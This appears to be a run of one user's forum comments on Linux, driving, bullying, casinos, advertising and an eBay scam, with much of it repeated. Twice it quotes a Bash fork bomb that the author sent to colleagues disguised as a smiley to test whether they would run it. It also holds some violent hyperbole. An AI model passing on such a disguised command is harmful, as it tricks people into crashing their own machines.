I work in a research lab and as such almost everybody uses linux. We (rightfully) feel that viruses are something that can't happen to us, but a few weeks ago I sent the following message on the work mailing list to test user gullibility:
If you type the following smiley in a shell, you get some interesting results::(){:;:; };:
I'm happy to report that the experiment worked. I don't know towards what, but it worked...
Whenever you hear that something is being withheld or denied for "National Security Interests", you can assume you are being screwed. Pretty much without regard to context. This was true in United States v. Reynolds, and it's true today.
I had no idea what this case was, so I headed to Wikipedia... and I now have an incidental question that has been nagging me about some other cases too: why do declassified 'secret' documents still contain huge redacted (blacked or whited out) section ? Are they releasing those later ? Never ?
I absolutely agree with you that a "highly trained driver" who can't stop his car is either a moron or someone trying to cash in big on insurance.
I've had a stuck accelerator once while driving a company van. After a brief surprise I placed my foot on the side of the pedal and pulled; if it hadn't worked I would have shifted to neutral or turned off the ignition or stepped lightly on the brakes to see if I could slow down enough to stall the engine.
There have been a few case a people calling 911 while in this situation, including one in France who drove for 200 fucking km before running out of gas. They should be thrown in jail, no questions asked, even if the car is faulty. Way to joyride.
I've seen old or incompetent drivers confuse the accelerator for the brakes a few times. Now they can claim it's 'the electronics'.
This may depend on the resolution defined for your monitor in your xorg.conf file. You can more simply change the font resolution in [System settings][Appearance][Fonts][Source font DPI]. Worked for me when I had the opposite problem (font too small). Actually using the correct NVIDIA driver fixed the X config file for good.
Back on topic, I have nothing but good things to say about this upgrade. Everything that worked still does, and a few problematic things now work. Overall I find that not much has changed and that's a good thing. PS: my machine is both a file/ssh/image/web server, a dev machine and a graphic workstation with Wine/Virtualbox graphic progs, so it's not a basic granma browser/email only box.
So why not make individual units which can optionally be connected together to then function as a 2-display unit?
Sounds like a great idea. Is there a tablet PC / cell phone that when put next to another one will act as an extended double screen for one of the devices ? Put 12 cell phones together for a normal size (albeit mozaicized and overpriced) monitor. Bonus points if they guess their positions relative to each others.
Sure, why not. But then it needs to be evaluated like any other treatment. If found wanting, then it gets the ax. PS: it has already been evaluated and not only found inefficient, but actually detrimental. Picture this: you are on a hospital bed and are told that there are 500 people currently praying for you. Does that make you feel better before you incoming surgery ? Fail.
It's sad to see middle-aged men still talking about stuff that happened to them in high school.
Why, if you spent 15 years being pushed around, it will certainly leave a mark longer than that. My being bullied only stopped the day I fought back and cracked the skull of one of the jocks. After that I was their 'friend'. Go figure. The lesson is: fight back and fight early.
...from reading children's comic books about superior men in tight pants who avenge anyone by kicking the arse of the big mean guys
One thing I could never understand.
If you're gonna play something that involves dungeons and you're over 20, it'd better involve gags and leather restraints.
Haha, best quote of the month.
Sometimes it seems like you ALL must think of yourselves as loser, one way or another. That's pathetic.
That's because the entire culture is oriented towards being a 'winner'. But people always forget that for one winner, well, everybody else is a loser. I always found this concept of winner the summit of idioticy. Other cultures have pushed more towards fitting the mold (communism), accepting things as they are (confucianism), but where is the culture that values doing things well without boasting about it ?!?
Every wifi capable (S60 3rd Ed phone models) mobile phone can be a wireless hotspot.
Yeah, except many of them need to be rooted because the providers don't like it when you use your line for anything besides what they want you to use it for.
Not saying that I agree with using the word "deliberate" either but can you give a possible environmental pressure that would have led to aging being successful?
Easy. Take a nearly immortal, non-aging specie. Take another one in the same ecological niche that reproduces quickly, ages and dies. In face on changing conditions, the first one will have problems, but the second one, thanks to its random mutations, will adapt and thrive, possibly replacing the first one entirely.
Immortality of many cells is called cancer and leads to death of the individual. Immortality of many individuals likely causes death of the specie.
How do you stream music from a Linux box to a portable (say Android) player ? I could only find poorly documented libraries or very complex daemons oriented more towards making a web radio than an on-demand server.
I would like to see an experiment where some group of well-studied animals, both morphologically and genotypically, are put in a highly selective environment to try to force speciation, and see what the results are.
It takes too long, unless you work with fast breeding bacteria. Lensky worked on bacteria but it still took over 30000 generations over 20 years. A mouse that breeds a new generation every 6 weeks would take about 3500 years before you notice speciation !
The very premise of a casino is that it's a business that plays games for money.
If that was the case, then you'd pay a few $ to enter the premise, receive a handful of chips (same for all), play, then leave, leaving all the chips in (no conversion to cash). Of course that'd never work as people would figure out that the games are stupid if they don't have their power rush "I'm sure I'm gonna win this time".
There's actually one very good reason to go to Vegas: to climb the excellent sandstone of Red Rocks, just a couple miles off the city. But for all I care you could nuke the city; it would certainly lower the amount of car break-ins while we are out climbing.
I often do road trips with lots for still camera equipment, sleeping in the car. We go to the movie theatre regularly and I certainly don't leave my cameras in the car at night while I'm not around. So far nobody has told me anything when I bring a big backpack to the movie. I could go along if they offer to keep it in the manager's office or come to check on me halfway through the movie, but NO I won't leave it in the car !
most right now are happy if they get gender. Bonus if they can guess age group.
That's why on every website/blog/forum that asks for personal info, I completely skew their statistics with widely outlying replies. Everybody should be born in 1921, interested in death-metal, pokemon and gardening.
I couldn't agree with you more. I stopped watching TV when I was 16 as this permanent brain rape attempts (that's what I call this attempt to manipulate my emotions) was making me feel all dirty inside. When I listen to the radio, I switch channel as soon as a commercial starts. I'm rabidly against billboards along roads (if they work, then they distract the driver and must be removed for security reasons. If they don't work, then they should just be removed).
To make a long story short I summed up all those arguments exactly as you and I stated above to a friend who is in advertisement. His reply: "that's why you'll be interested in our special program targeted at people like you..." How do you get through to people like that except by using a two by four ?
It's probably because it passes in front of its sun at every orbit, and we can see the noticeable difference in luminosity. Mercury rarely goes in front of the sun and the luminosity difference is in the epsilon range.
When did Autodesk last innovate ? Maybe in the 80s when they were in the first few versions of their software. Now it's the same old recycled shit again, with only a version change every other year in order to get you to cough $ again.
I've been bitten by this "eBay takedown of software" before. I was in Europe and I needed an english version of Win2K (very difficult to find here, and I needed NOW to install a new production box). XP was out already. Call me naive, but I hopped to microsoft.com and tried to find a downloadable version. I was absolutely ready to pay. No luck. I head to eBay, thinking "all the people getting new PCs with XP are probably selling their old Win2Ks". I find one "Access to a downloadable version of Win2K, with licence". The pay-now is very low, I do the auction, get the email form eBay to pay, which I do, then one minute later I get an email informing me that software auctions are not permitted. Huh ? Then how come they just accepted my payment. I receive the link, and that's all it is, a link to some fake site. Never got my money back. I guess MS lost a sale. No actually they lost a lot more: I downloaded Kubuntu (first time I did so for a production machine) and ran the prod software in wine. Never looked back. Now I develop exclusively for Linux.
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If you type the following smiley in a shell, you get some interesting results: :(){ :;:; };:
I'm happy to report that the experiment worked. I don't know towards what, but it worked...
Whenever you hear that something is being withheld or denied for "National Security Interests", you can assume you are being screwed. Pretty much without regard to context. This was true in United States v. Reynolds, and it's true today.
I had no idea what this case was, so I headed to Wikipedia... and I now have an incidental question that has been nagging me about some other cases too: why do declassified 'secret' documents still contain huge redacted (blacked or whited out) section ? Are they releasing those later ? Never ?
I've had a stuck accelerator once while driving a company van. After a brief surprise I placed my foot on the side of the pedal and pulled; if it hadn't worked I would have shifted to neutral or turned off the ignition or stepped lightly on the brakes to see if I could slow down enough to stall the engine.
There have been a few case a people calling 911 while in this situation, including one in France who drove for 200 fucking km before running out of gas. They should be thrown in jail, no questions asked, even if the car is faulty. Way to joyride.
I've seen old or incompetent drivers confuse the accelerator for the brakes a few times. Now they can claim it's 'the electronics'.
The menus and text are too big
This may depend on the resolution defined for your monitor in your xorg.conf file. You can more simply change the font resolution in [System settings][Appearance][Fonts][Source font DPI]. Worked for me when I had the opposite problem (font too small). Actually using the correct NVIDIA driver fixed the X config file for good.
Back on topic, I have nothing but good things to say about this upgrade. Everything that worked still does, and a few problematic things now work. Overall I find that not much has changed and that's a good thing. PS: my machine is both a file/ssh/image/web server, a dev machine and a graphic workstation with Wine/Virtualbox graphic progs, so it's not a basic granma browser/email only box.
So why not make individual units which can optionally be connected together to then function as a 2-display unit?
Sounds like a great idea. Is there a tablet PC / cell phone that when put next to another one will act as an extended double screen for one of the devices ? Put 12 cell phones together for a normal size (albeit mozaicized and overpriced) monitor. Bonus points if they guess their positions relative to each others.
Sure, why not. But then it needs to be evaluated like any other treatment. If found wanting, then it gets the ax. PS: it has already been evaluated and not only found inefficient, but actually detrimental. Picture this: you are on a hospital bed and are told that there are 500 people currently praying for you. Does that make you feel better before you incoming surgery ? Fail.
It's sad to see middle-aged men still talking about stuff that happened to them in high school.
Why, if you spent 15 years being pushed around, it will certainly leave a mark longer than that. My being bullied only stopped the day I fought back and cracked the skull of one of the jocks. After that I was their 'friend'. Go figure. The lesson is: fight back and fight early.
...from reading children's comic books about superior men in tight pants who avenge anyone by kicking the arse of the big mean guys
One thing I could never understand.
If you're gonna play something that involves dungeons and you're over 20, it'd better involve gags and leather restraints.
Haha, best quote of the month.
Sometimes it seems like you ALL must think of yourselves as loser, one way or another. That's pathetic.
That's because the entire culture is oriented towards being a 'winner'. But people always forget that for one winner, well, everybody else is a loser. I always found this concept of winner the summit of idioticy. Other cultures have pushed more towards fitting the mold (communism), accepting things as they are (confucianism), but where is the culture that values doing things well without boasting about it ?!?
Every wifi capable (S60 3rd Ed phone models) mobile phone can be a wireless hotspot.
Yeah, except many of them need to be rooted because the providers don't like it when you use your line for anything besides what they want you to use it for.
So we should learn something from the ronin, perhaps. Nothing like history repeating itself...
You mean like let them seppuku themselves ?!? I'll vote for that and watch the video with enthusiasm.
Not saying that I agree with using the word "deliberate" either but can you give a possible environmental pressure that would have led to aging being successful?
Easy. Take a nearly immortal, non-aging specie. Take another one in the same ecological niche that reproduces quickly, ages and dies. In face on changing conditions, the first one will have problems, but the second one, thanks to its random mutations, will adapt and thrive, possibly replacing the first one entirely.
Immortality of many cells is called cancer and leads to death of the individual. Immortality of many individuals likely causes death of the specie.
How do you stream music from a Linux box to a portable (say Android) player ? I could only find poorly documented libraries or very complex daemons oriented more towards making a web radio than an on-demand server.
I would like to see an experiment where some group of well-studied animals, both morphologically and genotypically, are put in a highly selective environment to try to force speciation, and see what the results are.
It takes too long, unless you work with fast breeding bacteria. Lensky worked on bacteria but it still took over 30000 generations over 20 years. A mouse that breeds a new generation every 6 weeks would take about 3500 years before you notice speciation !
This is the most interesting _and_ insightful post I've read all month, thank you.
"Why gamble with money when you can gamble with your life ?"
The very premise of a casino is that it's a business that plays games for money.
If that was the case, then you'd pay a few $ to enter the premise, receive a handful of chips (same for all), play, then leave, leaving all the chips in (no conversion to cash). Of course that'd never work as people would figure out that the games are stupid if they don't have their power rush "I'm sure I'm gonna win this time".
There's actually one very good reason to go to Vegas: to climb the excellent sandstone of Red Rocks, just a couple miles off the city. But for all I care you could nuke the city; it would certainly lower the amount of car break-ins while we are out climbing.
I often do road trips with lots for still camera equipment, sleeping in the car. We go to the movie theatre regularly and I certainly don't leave my cameras in the car at night while I'm not around. So far nobody has told me anything when I bring a big backpack to the movie. I could go along if they offer to keep it in the manager's office or come to check on me halfway through the movie, but NO I won't leave it in the car !
To which you would add a negative volume, otherwise nobody will notice the difference.
Metamods have been broken ever since going to 2.0. Are you going to fix that ?
There are several planetary detection methods and 'transit' is indeed one of them.
most right now are happy if they get gender. Bonus if they can guess age group.
That's why on every website/blog/forum that asks for personal info, I completely skew their statistics with widely outlying replies. Everybody should be born in 1921, interested in death-metal, pokemon and gardening.
To make a long story short I summed up all those arguments exactly as you and I stated above to a friend who is in advertisement. His reply: "that's why you'll be interested in our special program targeted at people like you..." How do you get through to people like that except by using a two by four ?
It's probably because it passes in front of its sun at every orbit, and we can see the noticeable difference in luminosity. Mercury rarely goes in front of the sun and the luminosity difference is in the epsilon range.
"When did ignorance became a point of view?", by Scott Adams of Dilbert fame.
I've been bitten by this "eBay takedown of software" before. I was in Europe and I needed an english version of Win2K (very difficult to find here, and I needed NOW to install a new production box). XP was out already. Call me naive, but I hopped to microsoft.com and tried to find a downloadable version. I was absolutely ready to pay. No luck. I head to eBay, thinking "all the people getting new PCs with XP are probably selling their old Win2Ks". I find one "Access to a downloadable version of Win2K, with licence". The pay-now is very low, I do the auction, get the email form eBay to pay, which I do, then one minute later I get an email informing me that software auctions are not permitted. Huh ? Then how come they just accepted my payment. I receive the link, and that's all it is, a link to some fake site. Never got my money back. I guess MS lost a sale. No actually they lost a lot more: I downloaded Kubuntu (first time I did so for a production machine) and ran the prod software in wine. Never looked back. Now I develop exclusively for Linux.